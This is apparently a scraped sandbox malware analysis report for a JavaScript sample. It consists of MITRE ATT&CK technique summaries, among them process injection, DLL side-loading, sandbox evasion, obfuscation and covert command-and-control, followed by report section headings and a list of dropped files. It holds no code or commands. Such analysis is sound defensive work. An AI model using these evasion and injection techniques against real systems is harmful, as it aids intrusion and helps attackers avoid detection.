Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 533625797193620143.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d1e3632b-3b12-493c-976b-18cceef9c6ae.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.280

Windows Analysis Report
533625797193620143.js